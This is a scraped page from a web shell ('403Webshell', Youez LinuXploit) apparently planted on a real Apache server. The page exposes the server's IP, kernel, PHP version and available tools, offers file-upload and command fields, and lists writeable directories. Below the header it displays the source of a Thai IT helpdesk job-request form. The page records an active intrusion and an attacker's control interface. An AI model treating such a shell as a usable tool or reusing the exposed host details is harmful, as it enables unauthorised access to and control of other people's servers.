403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/reportservice - Copy/2/helpdesk/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/reportservice - Copy/2/helpdesk/add_job.php
<?
include"connect.php";
$sql="select job.job_id,job.job_fname,job.job_lname,job.job_detail,job.job_tel,
job.job_date,dep.dep_name from job,dep where job.ref_dep_id=dep.dep_id order by job_id desc";
$result=mysql_db_query($dbname,$sql);
$number=mysql_num_rows($result);
$no=1;
?>

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>IT Dep.</title>
<meta name="keywords" content="" />
<meta name="description" content="" />
<link href="default.css" rel="stylesheet" type="text/css" />
<script language="javascript"> 
function fncSubmit() 
{    
if(document.form1.fname.value == "")   
{ 
	alert('กรุณากรอกชื่อด้วยครับ');       
	document.form1.fname.focus(); 
	return false; 
}    
if(document.form1.lname.value == "")   
{ 
	alert('กรุณากรอกนามสกุลด้วยครับ');       
	document.form1.lname.focus(); 
	return false; 
}    
if(document.form1.ref_dep_id.value == "0") 
{ 
	alert('กรุณาเลือกแผนกด้วยครับ');       
	document.form1.ref_dep_id.focus();         
	return false; 
}    
if(document.form1.tel.value == "")   
{ 
	alert('กรุณาใส่เบอร์ที่ติดต่อได้ด้วยครับ');       
	document.form1.tel.focus(); 
	return false; 
}    
if(document.form1.ref_type_id.value == "0")   
{ 
	alert('กรุณาเลือกประเภทของปัญหาด้วยครับ');       
	document.form1.ref_type_id.focus(); 
	return false; 
}    
if(document.form1.detail.value == "")   
{ 
	alert('กรุณากรอกรายละเอียดของงานที่แจ้งด้วยครับ');       
	document.form1.detail.focus(); 
	return false; 
}    
document.form1.submit(); 
} 
</script> 
</head>
<body>
<!-- start header -->

<div id="header">
	<div align="right">
    <? include "menu.php"; ?>
    </div>
    <h1><a href="#">helpdesk<span></span></a></h1>
</div>
<br>
<form   name="form1" method="post" action="add_job2.php" onSubmit="JavaScript:return fncSubmit();">
				  <table width="700" border="0" align="center" cellpadding="0" cellspacing="7">
        <tr>
          <td width="25%">ชื่อ - สกุล</td>
          <td width="65%"><input type="text" name="fname"/>
             <input type="text" name="lname"  /><font color="red">*</font></td>
          </tr>
        <tr>
          <td>แผนก</td>
          <td width="65%"><SELECT NAME="ref_dep_id">
	  <OPTION VALUE="0">Select</OPTION>
	  <?
		 include "connect.php";
		$sql="select * from dep";
		$result=mysql_db_query($dbname,$sql);
	  	while($rs=mysql_fetch_array($result)) {
			$dep_id=$rs[dep_id];
			$dep_name=$rs[dep_name];
			echo "<OPTION VALUE='$dep_id'>$dep_name</OPTION>";
		}
	  ?>
      </SELECT><font color="red">*</font></td>
          </tr>
        <tr>
          <td>เบอร์โทร</td>
          <td width="65%"><input type="text" name="tel" /><font color="red">*</font></td>
          </tr>
        <tr>
          <td>ประเภทของปัญหา</td>
          <td width="65%"><SELECT NAME="ref_type_id">
	  <OPTION VALUE="0">Select</OPTION>
	  <?
		 include "connect.php";
		$sql="select * from type";
		$result=mysql_db_query($dbname,$sql);
	  	while($rs=mysql_fetch_array($result)) {
			$type_id=$rs[type_id];
			$type_name=$rs[type_name];
			echo "<OPTION VALUE='$type_id'>$type_name</OPTION>";
		}
	  ?>
      </SELECT><font color="red">*</font></td>
          </tr>
        <tr>
          <td valign="top">ปัญหาที่แจ้ง</td>
          <td><textarea name="detail" cols="45" rows="6" ></textarea><font color="red">*</font></td>
          </tr>

        <tr>
          <td>&nbsp;</td>
          <td>&nbsp;</td>
          </tr>
        <tr>
          <td>&nbsp;</td>
          <td><input type="submit" name="submit"  value="แจ้งปัญหา" />
            <input type="reset" name="reset"  value="ยกเลิก" /></td>
          </tr>
      </table>
</form>
<br>
<div id="footer">
	<p id="legal">&copy;2009 All Rights Reserved. <a href="http://www.itsiam.net/">Thaphat Chutiwatphokin</a></p>
	<p id="links">&nbsp;</p>
</div>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit